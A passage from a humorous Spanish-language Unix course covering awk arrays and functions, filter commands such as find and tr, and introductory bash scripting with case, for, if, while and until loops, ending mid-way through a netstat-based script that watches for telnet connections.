número 4 es salteado.

El último printf tiene la tarea de que los números se escriban en una


línea aparte y que no se confunda con el indicador de comandos, si se
omitiera el resultado seria el siguiente…

01235678910bash-2.05b$
Se entiende?¿, véanlo y síganme los buenos 8)…

Arrays en awk…

Como saben, un arreglo (array) es una tabla de valores llamados


elementos. Cada elemento se distingue del otro por un índice. Estos
elementos pueden ser tanto cadenas como números.

Cada array debe tener un nombre, el cual será único y no se podrá


utilizar por otra variable o array en el mismo programa AWK (lógico).

A diferencia de muchos lenguajes de programación, en AWK no se


tiene que dar tamaño al array antes de empezar a usarlo, en otros
lenguajes se debe de guardar un espacio en memoria con el tamaño
del array, repito: en AWK esto no es necesario.

Para referirnos a un elemento del array utilizamos…

array[indice]

Donde “indice” indica a que elemento nos referimos y “array” es el


nombre del arreglo. Para agregar un elemento al array lo hacemos de
la siguiente forma…

array[indice] = valor

Acá “indice” indica el nombre del índice donde agregaremos el nuevo


valor. Pasemos a un ejemplo básico y ya que estoy le agrego algunas
ideas nuevas…

El siguiente programa mostrará las líneas de datos que le pasemos en


orden inverso.

Creamos el archivo “paatras” con el siguiente contenido…

bash-2.05b$ printf 'awk '{ linea[NR] = $0 }


> END { for(i = NR; i > 0; i--) print linea[i] }' $*' > patras

Y veamos un ejemplo de uso…

bash-2.05b$ more agenda_ordenada | ./paatras

yolanda 7014830
pizzeria 7112998
juliana 9547467
johny 7014831
jenny 9696969
darkhis 8
ch labs 9
analia 2696969
No les deja ejecutar el archivo?¿, que macana :B. Ahora supongamos
que tenemos los siguientes deudores.txt (en litros) de la vinería…

Ronaldo 200
Bambino 300
Ronaldo 100
Paris 500
Paris 100
Bambino 200
Johny 300
Ronaldo 200

Para calcular el total por nombre usaremos arrays asociativos y una


sentencia “for” especial para recorrerlo en busca de cada elemento, la
sintaxis de la sentencia es la siguiente…

for(variable in array)
cuerpo

Veamos un ejemplo con el archivo anterior y nuestro programa…

awk '{ sum[$1] += $2 }


END { for (nombre in sum) print(nombre), sum[nombre] }'

El resultado…

bash-2.05b$ ./asociativo < deudores.txt


Johny 300
Ronaldo 500
Paris 600
Bambino 500

Cada nombre (“campo 1” o “$1”) se usa como subí ndice en el arreglo


“sum”. Con la proposición for especial de AWK se recorren todos los
elementos del array sumando el campo 2 asociativamente.

Es muy importante dominar la interacción con el shell ya que significa


la base de nuestra capacidad de controlar el sistema de la forma más
simple y eficiente. En esta parte del curso recurriremos muy a
menudo a la interacción con el shell y por ende utilizaremos AWK,
apoyados en “|”, “>” y “<” (entre otros) para crear filtros avanzados.

AWK hará la diferencia siempre que tengamos que lograr programas


sencillos que hagan tareas que en otros lenguajes de programación
serían complejas, o bien imposibles de conseguir con otros filtros.
Funciones en AWK

AWK dispone de muchas funciones incorporadas para trabajar con


números, cadenas, etc… Aparte de esto, nosotros también podremos
crear nuestras propias funciones.

Como es habitual en los lenguajes de programación, cada función


acepta un determinado número de argumentos y para llamarla se
escribe la función seguida de los argumentos (entre paréntesis) :).

Entre las funciones propias del lenguaje más comunes encontramos…

sqrt(x) Raíz cuadrada de “x”.


exp(x) Esto es “e” (número e) elevado a la “x”.
log(x) Logaritmo natural de “x”.
sin(pamela) El seno de “Pamela” :9.
cos(x) Coseno de “x”.
rand() Nos tira un número aleatorio entre el 0 y 1.
Después veremos como obtener números enteros.
index(c1, c2) Buscará “c2” en “c1” y devolverá el número de
posición en donde se encuentra la coincidencia.
int(expresión) Devuelve la parte entera de expresión.
length(cadena) Devuelve el número de caracteres de cadena. Si la
cadena es un numero igual devolverá su largo.

split(cadena, array, separador) Divide la “cadena” entre


“separador” y almacena los datos en el “array”.

Por ejemplo…

split("hacker/de/elite", ch, "/")

Producirá el siguiente array…

ch[1] = "hacker",
ch[2] = "de"
ch[3] = "elite".

Seguimos…

substr(a, b, c) Devuelve la subcadena de longitud “c”, iniciando


en el caracter “b”, de la cadena “a”.
tolower(cadena) Pasa la cadena a minúsculas.
toupper(cadena) Pasa cadena a mayúsculas.
system(comando) Le pasamos un comando al sistema.

Y ahora, cómo hago mi propia función?¿… Pues la sintaxis a seguir


para declarar nuestras funciones es…
function nombre(argumentos) {
cuerpo
}

Nada nuevo verdad?¿, veamos un ejemplo ilustrativo bien simple…

bash-2.05b$ awk '


> function comando() {
> system("date")
> }
> { comando() }'

Mon Aug 9 15:56:28 UYT 2004

Al darle ENTER el comando system nos da la fecha automáticamente.


Noten que lo que esta entre llaves “{ }” es lo que se ejecuta por cada
línea de ent rada, la definición de la función debe de estar siempre
afuera de las llaves. ¡¡¡ Atención: Esto no deja de ser un filtro !!! :).

Finalizando esta serie de herramientas que necesitarán de práctica y


paciencia para entrar en sus cabecitas inquietas, les cuento que una
metodología ordenada para hacer scripts en AWK será poner siempre
la extensión “.awk” a nuestros archivos y luego llamarlos con la
opción “-f” del programa.

Doy por terminada la corta pero incisiva enseñanza sobre filtros y


AWK, paso a compartir algunos ejemplos de utilidad…

Ejemplo 1.
Veamos una combinación de filtros que ejecutada con permisos de
root me da mi dirección IP (modifiquen la interfase para su caso)…

bash-2.05b# ifconfig ppp0 | awk -F: '{ print $2 }' | sed -n '2p'
| awk '{ print $1 }'
200.40.69.31

Depurando, con el programa “ifconfig ppp0” obtenemos información


sobre “ppp0” (mi interfase de conexión a Internet).

Luego y con la ayuda de awk filtramos la entrada para que solo se


impriman los segundos campos usando el separador “:” (-F:).

Después de esto nos valemos del editor de flujos “sed” para escupir
únicamente la segunda línea.

Por último llamamos de nuevo a “awk” para que de esta segunda


línea muestre el primer campo, que se encuentra separado por un
espacio en blanco, o sea la IP ;).
Para ver paso a paso lo que hace el programa (y para desarrollar uno
propio) les recomiendo ir ejecutándolo/creándolo por partes, quitando
los filtros que se procesan al final y así comprender cual es la tarea
de cada uno.

Ejemplo 2.
Esta combinación de filtros nos lista los usuarios que se conectaron
en cualquier momento de la hora 18…

bash-2.05b$ who | awk '{ print $1" " $5 }' | egrep 18:+
neuromante 18:52

Recuerden que el “+” de “egrep” concuerda con uno o más caracteres


despué s de “:”.

Ejemplo 3.
Ver los puertos estándar TCP en nuestro UNIX…

bash-2.05b$ sed '/^#/d' /etc/services | awk '{print $2}' | awk -


F/ '{ if($2 == "tcp" print $1 }'
1
2
3
5
7
9
11
13
17
18
19
20
21
22

……

Y para los que se quedaron con ganas… esos que llegaron hasta acá
sin volver a la primera página (porque hasta ahora ha sido muy fácil),
les tengo una sorresa…

La Yapa: Otros comandos de filtro.

El comando “find” (que ojeamos anteriormente), es un programa


considerado filtro por su capacidad de explorar el sistema de archivos
en busca de los que cumplan con determinados patrones, veamos…
bash-2.05b$ find /etc -name *.conf -print

Con lo que el comando buscará en el directorio “/etc” los archivos que


terminen en “.conf”, también podremos buscar por tamaños…
bash-2.05b$ find ./ -size +500k -print

Mostrándonos los archivos mayores a 500 Kb del directorio actual.

Opciones interesantes del filtro “find”…

–atime Tiempo transcurrido desde la última lectura.


-mtime Tiempo desde la última modificación de los permisos.
-ctime Tiempo desde la última modificación de contenido.

Todas extremadamente útiles para encontrar archivos “perdidos” y


porque no, también para investigar que pasó mientras no estábamos,
hacer un análisis forense y cultivar nuestra sana y fiel paranoia.

bash-2.05b$ find /tmp -atime +20 -print

Buscará archivos no leídos desde hace 20 días. Con el “+” le


indicamos que puede ser mayor que 20 días, si le ponemos un “-” la
condición será menor de 20 días y en caso de no poner símbolo
coincide únicamente si es exactamente hace 20 días.

Otro comando que puede resultarles interesante es “tr”, el cual sirve


para sustituir determinados caracteres por otros, su uso más simple
(aunque ya sabemos hacerlo con AW K), es convertir MAYÚSCULAS a
minúsculas (y viceversa)…

bash-2.05b$ cat archivo.txt | tr a-z A-Z

Obviamente sería muy infeliz si estuviera destinado solo a eso, por lo


que veamos un ejemplo de cosas realmente importantes…

bash-2.05b$ cat cuidado_bomba_nuclear_no_descomentar | tr -d #

Descomentará todas las líneas del archivo en cuestión, me van a


decir que no era algo importante?¿ :P.

Finalizando les dejo la tarea de probar el comando “uniq”, que elimina


los renglones que sean iguales en un archivo (dejando solo uno); el
comando “cut”, útil para borrar partes indeseadas de una línea; “diff”
para imprimir las diferencias entre 2 archivos y “wc”, que nos
acompañó en la largada y contó cada una de nuestras palabras (y
otras cosas en un archivo) :P.

Con esto doy por terminado la parte de filtros, recuerden que antes
de seguir es obligación investigar y probar estos últimos comandos,
espero que les haya agradado y puedan percibir el poder que tienen
entre sus suaves manitas.
3º Programación Bash

Bienvenidos a “El tema del shell y de su parte programable” 8).

Aunque la mayoría de los mortales suden utilizándolo como un simple


interprete de comandos, el shell de Unix es un poderoso lenguaje de
programación, el cual a partir de ahora vamos a explotar.

Dada nuestra meta de adentrarnos en el mundo de la administración,


seguridad informática y hacking en Unix, será imprescindible saber
crear scripts que automaticen nuestras tareas. Así es… todo será a
nuestra medida (Y).

Por lo general usamos el shell para ejecutar sencillos scripts de pocas


líneas para metrosexuales, no obstante se pueden hacer cosas muy
poderosas, por ejemplo (su palabra favorita): exploits.

Una de las mayores utilidades de este lenguaje es personalizar o


adecuar comandos ya disponibles en el sistema, esto es muy común
entre los usuarios del mundo unix y es probable que si se hacemos
una muy buena implementación con algún comando, esta pueda ser
incluida en el sistema entero o hasta en la propia versión del
paquete… y esta es parte de la historia de como crece la comunidad
del software de código abierto.

Conozcamos un poco la parte técnica del interprete de comandos…


Diremos que “Bash” es el interprete de comandos utilizado en los
sistemas GNU y es compatible con la “sh” de de los sistemas unix.

Bash (de ahora en más sin comillas), tiene como características


principales el poder editar la línea de comandos, contar con una
historia de comandos, control de tareas y la capacidad de ser un shell
programable.

La palabra Bash viene de “Bourne-Again Shell” y se debe al autor del


shell original de unix: Stephen Bourne. Bash fue inicialmente creado
por Brian Fox, integrante de la Free Software Fundation.

Básicamente, qué es un shell?¿… Mucho he dicho y poca felicidad me


daría buscar en todas las lecciones para verificar si ya lo he explicado
con detalle por lo que procedo: Un shell es quien nos proporciona una
rica cantidad de comandos, nos brinda un ambiente programable
para crear nuevos comandos y procesa los comandos introducidos por
nosotros.

Este tema será un gran aliado en la semana 30 (cuando demos


iptables) y creemos nuestras propias configuraciones mediante shell
scripting, al igual que para muchas otras tareas de administración.
A esta parte del curso todos han llegado con conocimientos básicos
de programación por lo que al explicar las distintas cualidades del
lenguaje trabajaremos directamente con script útiles, de esta forma
ahorramos tiempo y le daremos potencia.

Comencemos, Qué son los retornos de los comandos?¿…

Como en muchos lenguajes de programación, determinadas acciones


nos devuelven determinados valores.

En el shell de unix (a diferencia de C), un comando que se ejecuta


correctamente retorna un valor de “0”, de este modo, si un comando
devuelve un valor distinto de “0” estamos ante una anormalidad.

El shell tiene algunas variables incluidas, una de ellas es “$?” la cual


almacena el estado de la salida del último comando ejecutado, vean…

bash-2.05b$ pwd
/home/darkhis
bash-2.05b$ echo $?
0
bash-2.05b$ sogtulakk
bash: sogtulakk: command not found
bash-2.05b$ echo $?
127

Capisce?¿, ya veremos como tratar el tema de los errores.

También tendremos a nuestra disposición los comandos “true” que


nos devuelve siempre “verdadero” y “false” que devolverá siempre
“falso”… y eso para que?¿, para cuando queremos configurar que una
condición sea verdadera o falsa :B.

Ejemplo 1.
En este primer ejemplo casi no usaremos nada nuevo pero podremos
ver algunos conceptos importantes. El siguiente script levantará la
red en mi podadora con GNU/Linux Slackware 93.7 FM…

#!/bin/bash
# levanta la red, correr como root.
ifconfig eth0 192.168.100.1 netmask 255.255.255.0
route add -net 192.168.100.0 netmask 255.255.255.0 dev eth0
echo "Red levantada."

El “#!” al principio le informa al sistema de que se trata de un script,


es decir un conjunto de comandos que se van a ejecutar, luego sigue
el “/bin/bash”, siendo la ruta del programa que interpretará el script.
Existen otros tipos de shells en el mundo unix, como “ksh” que trata
de ser más amigable al usuario, “csh” que es mucho más parecido al
lenguaje de programación C, etc…

Ustedes mismos puede tener su propio interpretador shell con un


poco de esfuerzo, pero eso ya seria irnos del tema %).

Seguimos analizando el script y vemos que hay una línea atrás de un


“#” (que como saben es un comentario). Todo lo que este después
del numeral en nuestros scripts no será ejecutado.

Ya conocen la historia de la importancia comentar. Los programas


autodocumentados son una inteligente práctica de programación (Y).

Luego de esto encontramos dos comandos para la configuración de la


red de área local (los cuales también conocen), corazón de un mega
script para configurar la red y salida a Inet de su equipo :B.

Finalmente y de forma precaria (sin corroborar que haya funcionado)


colocamos un “echo” que escribe en pantalla que la red ha sido
levantada con éxito, en caso contrario también disfrutarán de un
paradójico mensaje de error :P.

Como habíamos experimentado cuando trabajábamos con AWK, lo


que obtenemos es un simple archivo de texto, para que el shell pueda
ejecutarlo debemos de darle permisos de ejecución al archivo (lo cual
imagino dedujeron sino no habrían podido usar aquellos ejemplos :P).

bash-2.05b$ chmod u+x escrip_pa_la_red.sh

Comprueben que apareció la “x” y procedan a ejecutarlo…

bash-2.05b# ./red.sh
Red levantada.

Esto sucedió situados en el directorio en donde esta el script, de no


haber estado en el mismo directorio deberían haber colocado su ruta
completa.

Sería interesante, ya que estamos con este ejemplo, poder elegir


entre subir o bajar la red. Esto nos introducirá en varios temas de la
programación en shell, veamos el nuevo script y expliquemos…

#!/bin/bash
# levanta la red, correr como root.
case $1 in
-a) ifconfig eth0 192.168.1.1 netmask 255.255.255.0;
route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0;
echo "Red levantada.";;
-b) ifconfig eth0 down;
echo "Red abajo.";;
*) echo "Uso: ./red.sh -a (levanta la red)
-b (baja la red)";;
esac

La primera rareza que vemos es el “case”, cuya función es tomar


decisiones. Antes de ver su sintaxis conozcamos su funcionamiento
mediante un pseudocódigo.

Un “pseudocódigo” nos ilustra una característica de programación con


el fin de conocer con claridad la tarea antes de ir al verdadero código.
Como en nuestro “case” será mas fácil explicarlo de esta forma
veamos un “pseudocódigo” antes de trabajar sobre su sintaxis real…

caso $comoestoy en
sobrio) escribir "Cómprese un vino y póngase a tono.";
fumado) escribir "Vuele, no maneje.";
hastalasmanos) escribir "Ir para el sobre y evitar papelones";
fin caso

Clarísimo verdad?¿, veamos la sintaxis del “case” en nuestro shell…

case palabra in
patron1) comando1; comando2, ...;;
patron2) comando3, comando4, comando5, ...;;
patron3) comando8, comando9, ...;;
...
esac

Simplemente se compara la palabra con los patrones, en caso de que


estos concuerden se ejecutan los comandos.

En el ejemplo utilizamos la variable $1, o sea el primer argumento.


Como en nuestros programas también podremos utilizar las variables
incluidas en el shell, este es buen momento para conocerlas…

$N En este caso la N simboliza un entero positivo que será el


argumento del programa. Nótese que por lo general el
programa es el argumento $0 y el primer parámetro $1.
$# Contiene el número de parámetros recibidos.
$* Representa a todos los argumentos.
$? Contiene el estado de salida del último comando ejecutado.
$$ Devuelve el número de proceso del programa en ejecución.
$HOME Contiene la ruta del directorio home del usuario actual.
$IFS Caracteres que separan las palabras en los argumentos.
$PATH Son los directorios donde se buscarán los ejecutables.
$USER Contiene el nombre del usuario actual.
$PS1 Cambia el prompt de espera como ya vimos antes.
$PS2 Cambia el símbolo de espera para cuando ejecutamos
comandos de más de un renglón. Por defecto es el “>”.

Volviendo al script, vemos que si colocamos “–a” ($1) como primer


parámetro se levantará la red y se nos escribirá un mensaje que dice
“Red levantada”. Mientras que si colocamos “-b” como parámetro la
red se desconfigurará mostrando un mensaje que dice: “Red abajo.”.

El último patrón a corroborar es “*”, que ejecutará los comandos


cuando ninguno de las otros patrones coinciden, en este caso nos
muestra la ayuda del script.

Finalmente tenemos a “esac” que cierra (termina/finaliza) el “case”.

Hay otras formas de ejecutar un script en bash, las más comunes


(aparte de “./script”) son…

bash-2.05b$ sh script.sh
bash-2.05b$ bash -x script.sh

Si utilizamos el shell bash, en lugar de “sh” usaremos la terminación


“bash” para el nombre del archivo, por ejemplo…

bash-2.05b$ bash -x script.bash

El comando “bash -x script.bash” corre el script en modo debug, en


esta forma podremos encontrar errores inesperados cuando el
programa no funciona correctamente y queremos saber que está mal.

Es claro que el archivo debe llamarse “script.bash” :). Pasemos a otro


ejemplo fruto de las posibilidades de “case” antes de continuar con
las del shell…

#!/bin/bash
# Programa estúpido que nos dice que día es hoy
case $# in
0) set 'date'; d=$1;;
*) echo "Uso: ./quediaeshoy.bash"
esac
case $d in
Mon) d="Lunes";;
Tue) d="Martes";;
Wed) d="Miercoles";;
Thu) d="Jueves";;
Fri) d="Viernes";;
Sat) d="Sabado";;
Sun) d="Domingo";;
Osv) d="Osvaldo";;
esac
echo $d
Este ejemplo introduce algunos conceptos nuevos, en primer lugar la
variable “$#” que hace que el script sea ejecutado solo cuando se lo
llama sin parámetros (0), mientras que por otra parte tenemos al
comando “set”. Veamos como actúa con un ejemplito…

bash-2.05b$ who
darkhis tty2 Aug 10 14:02
bash-2.05b$ set 'who'
bash-2.05b$ echo $1
darkhis
bash-2.05b$ echo $2
tty2
bash-2.05b$ echo $5
14:02

Para los que no lo deducen, el comando “set” divide en campos la


salida del comando que le pasamos como argumento, la variable “$1”
contendrá el campo “1” de la salida del comando (who), la variable
“$2” contendrá el segundo campo (en este caso la tty) y del mismo
modo para el resto de los campos.

Entonces, volviendo a nuestro programa, usamos el comando “set”


para que nos quede en una variable “d” el primer campo de la salida
del comando “date”, en este caso serán las primeras letras del día en
inglés.

Gracias al patrón “*” y como en la ocasión anterior, lo que sigue es


un caso para contemplar cualquier parámetro y pasarle la ayuda del
programa al usuario, como no sería nuestro caso la ejecución sigue
con el próximo case.

En este nuevo “case”, si la variable “d” coincide con algún patrón, se


cambiará su valor al día correspondiente en español.

Para finalizar, con el comando “echo” hacemos que se imprima el día


en la pantalla, una posible salida podría ser…

bash-2.05b$ ./quediaeshoy.bash
Martes

Para crear variables simplemente debemos elegir un nombre seguido


un valor, mientras que para llamarla lo hacemos con un “$” adelante
del nombre, por ejemplo…

bash-2.05b$ saludo="Bom dia comunidade!"


bash-2.05b$ echo $saludo
Bom dia comunidade!

Las variables son de gran utilidad en todo lenguaje de programación,


el shell-scripting no la excepción y se utilizarán constantemente.
Pasemos a las construcciones “for”, veamos su sintaxis…

for nombre in a1, a2, ...;


do comandos
done

Ya saben que “for” se usa cuando necesitamos un bucle dentro de un


rango de variables, ilustrémonos com un ejemplo útil… Supongamos
que escribimos varios scripts en AWK pero olvidamos ponerles la
extensión “.awk”, sería tedioso buscarlos y hacerlo en uno por uno
verdad?¿, por eso vamos a utilizar el siguiente programa que además
de solucionar el problema, nos ilustrará las construcciones for…

#!/bin/bash
for archivo in /home/darkhis/scrptawk/*; do
echo "Agregando extensión awk a $archivo..."
mv $archivo $archivo.awk
sleep 1
done

bash-2.05b$ ./soyelcacahuatesupremo.sh
Agregando extension awk a /home/darkhis/scrptawk/satehijack...
Agregando extension awk a /home/darhhis/scrptawk/freephonecal...
Agregando extension awk a /home/darkhis/scrptawk/tcpspoofer...

El comando “sleep” genera una pausa de 1 segundo, de esta forma


ejecutaremos cada “mv” con un retraso que nos permitirá apreciar el
progreso. Aunque no lo parezca este comando será muy útil.

El “*” no será la excepción y al igual que en la línea de comandos del


SO de la mala palabra, es un caracter especial que nos indica todos
los archivos que están contenidos en el directorio actual.

Introduzcamos un nuevo amigo en nuestro juego, con Uds.: “expr”.


Este programa recibe números y operadores como argumentos, hace
los cálculos o comparaciones necesarias y nos devuelve el resultado.
El programa trabaja solo con argumentos enteros y de momento
vamos a estudiar los siguientes operadores “+”, “-”, “*”, “/” y “%”.

Si están atentos notarán que aquí tenemos “un problema” ya que los
operadores “*” y “/” también son caracteres especiales y podrían ser
interpretados de forma diferente a la deseada.

Para solucionar este tema contamos con “\” (el caracter de escape),
por lo que para ejecutar una multiplicación deberemos colocar “\*” en
lugar de simplemente “*”, para ejecutar una división debemos poner
“\/” en lugar de solo “/”… del mismo modo para otras expresiones u
operaciones.
“expr” también admite paréntesis en las operaciones, los cuales tanto
para abrir como para cerrar deberán estar escapados. Ejemplos…

bash-2.05b$ expr 1 + 1 Devuelve 2.


bash-2.05b$ expr 3 \* 2 + 4 Devuelve 10.
bash-2.05b$ expr 2\* \( 4 + 5 \) Devuelve 18.

Como había sugerido y entre muchas cosas que no comentaré ahora


:P, “expr” también admite comparaciones entre números y valores
usando los operadores lógicos “=”, “!=”, “<”, “>”, “>=” y “>=”, que
al usar deberemos escapar con “\”.

El siguiente script cuenta y nombra los archivos que se encuentran en


el directorio actual usando un “for” y un “expr” para ir aumentando la
cuenta que va haciendo…

#!/bin/bash
# El siguiente programa cuenta y nombra los archivos en el
# directorio actual utilizando for
CONTAR=0 # Se inicializa la variable CONTAR a 0.
for ARCHIVOS in *
do
echo $ARCHIVOS
CONTAR='expr $CONTAR + 1' # Sumamos 1 por archivo encontrado.
done
echo Hay $CONTAR archivos en el directorio actual.

bash-2.05b$ ./contatealgo.bash
archivo
conexion.sh
contatealgo.bash
iptables.sh
mensajedeldia.bash
quediaeshoy.bash
soyelcacahuatesupremo.sh
test.sh
test2.sh
vinofiado.sh
vinovendido.sh
virusmalevolo(paratrabajoengrupo)3.11.tar.gz
Hay 12 archivos en el directorio actual.

Pasemos al “if” de bash, su sintaxis es la siguiente…

if condición
then
comandos que se ejecutan si la condición es verdadera
else
comandos que se ejecutan si la condición es falsa
fi

En el caso del shell la condición será un comando que se evaluará.


La parte “else” (como en todos los lenguajes) es optativa, o sea que
la proposición puede ejecutarse sin problemas de la siguiente forma…

if condición
then
comandos
fi

Otra variante que podemos utilizar es la de evaluar muchos casos…

if condición
then
comandos
else if condición
then
comandos
else if condición
...
fi
fi
...

El “if” tomará distintas decisiones de acuerdo al valor de retorno de la


condición, si el comando incluido en la condición es verdadero ejecuta
lo que esta después del “then”, en caso contrario y si existe ejecutará
la parte “else”.

También existe la manera de hacer que la condición de “if” no sea un


comando y por ejemplo compare cadenas, veamos…

#!/bin/bash
#El script muestra un mensaje distinto según el día de la semana
set 'date'; d=$1
if [ $1 == "Mon" ]
then
echo "Buen dia, el primero de la semana, que les sea leve ;)."
else if [ $1 == "Tue" ]
then
echo "Tenemos un corte en el sistema debido a mantenimiento, "
echo "disculpe las molestias, trabajamos para mejorarlo :P."
else if [ $1 == "Wed" ]
then
echo "Hola que tal?¿, por ser miercoles y como todos los "
echo "miercoles, cenaremos en el restaurante de siempre y "
echo "bailaremos hasta que las velas ardan, en caso de no poder"
echo "asistir avise a la administracion. <:o)"
else if [ $1 == "Thu" ]
then
echo "Estamos de festejo, este dia pasara a ser historico para"
echo "nuestra empresa. Hemos cerrado un trato mnultimillonario"
echo "con la famosa multinacional Gungle. Todos los empleados"
echo "pasaran a ganar el doble y el dueño 490 veces más :9."
else if [ $1 == "Fry" ]
then
echo "Lamentamos informarles que el trato con Gungle fracaso "
echo "y todos estan despedidos, me fui con toda la teca en
echo "helicóptero, suerte en la proxima >)."
fi
fi
fi
fi
fi

bash-2.05b$ ./mensajedeldia.bash
Hola que tal?¿, por ser miercoles y como todos los
miercoles, cenaremos en el restaurante de siempre y
bailaremos hasta que las velas ardan, en caso de no poder
asistir avise a la administracion. <:o)

Como pueden apreciar hemos usado “[$1 == "Dia"]” para comparar


las dos cadenas, ejecutándose lo que se encuentran luego de “then”
cuando las cadenas comparadas sean iguales. Veamos algunas otras
comparaciones interesantes y simples a tener en cuenta…

[-a ARCHIVO] Verdadero si el archivo existe.


[-d ARCHIVO] Verdadero si el archivo existe (y es un directorio).
[-f ARCHIVO] Verdadero si el archivo existe y es un archivo
común (“-w” y “-r” indicarían si es de escritura y
lectura respectivamente).
[cad1 == cad2] Verdadero si “cad1” es igual a “cad2” (cadenas).
[cad1 != cad2] Verdadero si “cad1” es diferente a “cad2” (idem).

Interesante pero sin “utilidad real”, a menos que podamos ejecutarlo


automáticamente, todos días y a determinada hora para todos los
usuarios de nuestro sistema.

Como hacemos esto?¿, de varias formas… una de ellas es con el ya


conocido comando “at” que como saben es nativo de Unix y funciona
perfectamente en GNU/Linux… Les dejo como ejercicio hacer que los
maravillosos mensajes del script anterior sean comunicados en la
mañana de todos los días de la semana (inventen los del finde con
algo así como: “Que desgraciado… trabajar los fines de semana!!”, lo
recomienda alguien que “trabaja” los fines de semana :B).

Para no ejecutar tanto “if” y “else”, existe otro comando especializado


(además de “case”), para decidir entre varias opciones. Este es “elif”
y será más elegante (haciendo lo mismo), su sintaxis es la siguiente…

if ...
then ...
elif ...
then ...
elif ...
then ...
...
fi

Como me traen mal acostumbrado, será su deseo el que prevalece y


por tanto les dejo las pruebas a voluntad B).

Continuando el planeo sobre los campos fértiles de la programación


Bash les recomiendo hacerse de un lugar de cultivo… un lugar en el
cual puedan colocar todos los archivos ejecutables que van creando y
así utilizarlos de forma rápida y desde cualquier sitio del sistema.

Personalmente he cercado una parcela bajo el emblema “bin”, dentro


del terreno de mi hogar… agregando en la variable “$PATH” la ruta a
ella %). Así he logrado que también se busquen ejecutables en este
espacio, lo cual hice así…

bash-2.05b$ PATH=$PATH:/home/darkhis/bin

En alumnítico: Cree el directorio “bin” dentro de mi directorio $HOME


y lo agregué al $PATH (que funciona igual que en VVinbugs).

Hecho esto también se buscaran ejecutables en ese directorio, por lo


que ya no será necesario usar el “./” para ejecutarlo, se puede decir
que el ejecutable está “instalado”.

Además del “for” y como todos esperan tenemos otros ciclos listos
para utilizar, estos son “while” y “until”, los cuales a diferencia del
anterior se caracterizan por esperar sucesos.

Estos ciclos son similares por utilizar la terminación de un comando


para ejecutar los comandos en el cuerpo, la diferencia entre ellos está
en que “while” ejecuta el cuerpo mientras la condición sea verdadera
y al volverse falsa se deja de ejecutar, de ser falso al inicio el cuerpo
del “while” nunca se ejecutará (“while” = “mientras”).

Por otro lado, “until” ejecuta el cuerpo mientras el comando sea falso,
por lo que cuando se haga verdadero se dejará de ejecutar (“until” =
“hasta”).

Detallo la sintaxis de estos comandos a continuación…

while comando
do
cuerpo mientras el comando sea verdadero
done

until comando
do
cuerpo hasta que el comando se haga verdadero
done

Entre los ejemplos más simples del ciclo “while” está la útil capacidad
de esperar a que alguien inicie sesión…

bash-2.05b$ while sleep 60


> do
> who | grep binladen
> done
binladen tty2 Aug 10 09:43 (1 min)
binladen tty2 Aug 10 09:43 (2 min)
binladen tty2 Aug 10 09:43 (3 min)

Podríamos decir que esto tiene el inconveniente de hacernos esperar


60 segundos si el usuario ya había iniciado la sesión, además de que
luego veremos el mismo cartel cada un minuto. Para solucionar esto
podríamos usar la primita de “while”: “until”…

bash-2.05b$ until who | grep binladen


> do
> sleep 60
> done
binladen tty2 Aug 10 09:43

De esta manera y sin demora detecta si el usuario ya está en línea o


bien lo chequeará cada 1 minuto, lo cual es mejora el caso anterior.

Como ejercicio realicen un script que nos permita elegir que usuario
esperar, asegúrese de que compruebe el número de argumentos e
instálenlo en su directorio bin, luego mostrar a su profemarido.

Estos ciclos son buenos para hacer que se ejecuten acciones cada
determinado tiempo, entregarnos recordatorios, limpiar todo después
de que se va nuestra hermana de 13 años adicta a las fotos de emos
o realizar tareas a horas que no estamos… use your imagination!.

Además, en estos ciclos también podremos utilizar expresiones como


en el “if”, encerrándolas entre “[ ]”.

Demos un paso adelante y encontremos otro comando interesante:


“test”. Este comando nos devuelve verdadero o falso dependiendo de
si un archivo existe o bien si existe y tiene determinados atributos…

#!/bin/bash
if test -f archivo
then
chmod u+x archivo
fi
Este script comprueba por “if” si “archivo” existe y tiene atributos de
archivo común, de ser así se ejecuta la parte “then”, o sea que se le
cambian los permisos y se hace ejecutable para el dueño.

Si “archivo” no existe el script no hará nada por lo que si quieren que


en este caso también haga algo deben agregar una parte “else”.

Entre los argumentos más utilizados del comando “test” encontramos


los siguientes…

En cuanto a archivos…

-r Verdadero si puede ser leído.


-w Verdadero si puede ser escrito.
-x Verdadero si puede ser ejecutado.
-f Verdadero si es un archivo normal (empieza con “-”).
-d Verdadero si es un archivo directorio (empieza con “d”).
-s Verdadero si el archivo esta vacío (sin contenido).

En cuanto a cadenas de texto…

cad1 = cad2 Verdadero si las cadenas son iguales.


cad1 != cad2 Verdadero si las cadenas son distintas.
-n cadena Verdadero si la cadena contiene “n” caracteres.
-z cadena Verdadero si la cadena es nula.

En cuanto a números…

num1 -eq num2 Verdadero si num1 es igual a num2.


num1 -ne num2 Verdadero si num1 es diferente a num2.
num1 -gt num2 Verdadero si num1 es mayor a num2.
num1 -ge num2 Verdadero si num1 es mayor o igual a num2.
num1 -lt num2 Verdadero si num1 es menor a num2.
num1 –le num2 Verdadero si num1 es menor o igual a num2.

El extraño estilo de los operadores numéricos en el shell, poco común


en otros lenguajes de programación, hacen que no sea algo de lo cual
pueda estar orgulloso.

Complementémonos ahora con el comando “read”, que tiene la


función de leer los caracteres typeados por el usuario e introducirlos
en una variable. Veamos un ejemplo con “test” y “read”…

#!/bin/bash
echo "FBI!, Ud. Esta haciendo algun Curso Hacker?:"
read respuesta1
echo "Ud. Conoce alguna tecnica de Hacking?:"
read respuesta2
if test "$respuesta1" = "$respuesta"
then
echo "Ud. es un habil declarante :)."
else
echo "Mmm.. es mejor que practique o iremos todos pal calabozo."
fi

bash-2.05b$ ./indagatoria-sorpresa.bash
FBI!, Ud. Esta haciendo algun Curso Hacker?:
Claro que no
Ud. Conoce alguna tecnica de Hacking?:
Claro que no
Ud. es un habil declarante :).

Sencillo pero interesante, “test” y “read” serán de gran utilidad.

Sigamos aprendiendo de la mano de otro script cuya misión será


introducirles (a mi nadie me introduce nada :G!!!) varios conceptos
nuevos. Lo que haremos será comprobar si alguien ha entrado al
servidor mediante telnet y averiguar desde que IP lo hizo. Les dejo el
código del programa y luego les introduzco los conceptos nuevos :P…

#!/bin/bash
#Peligroso programa detector de introduccion y huida via telnet.
nuevo=/tmp/ttelnet1.$$
viejo=/tmp/ttelnet2.$$
netstat -t > $viejo # crea el primer netstat
while : # esto es un cliclo eterno
do
netstat -t > $nuevo
diff $viejo $nuevo
mv $nuevo $viejo
sleep 1
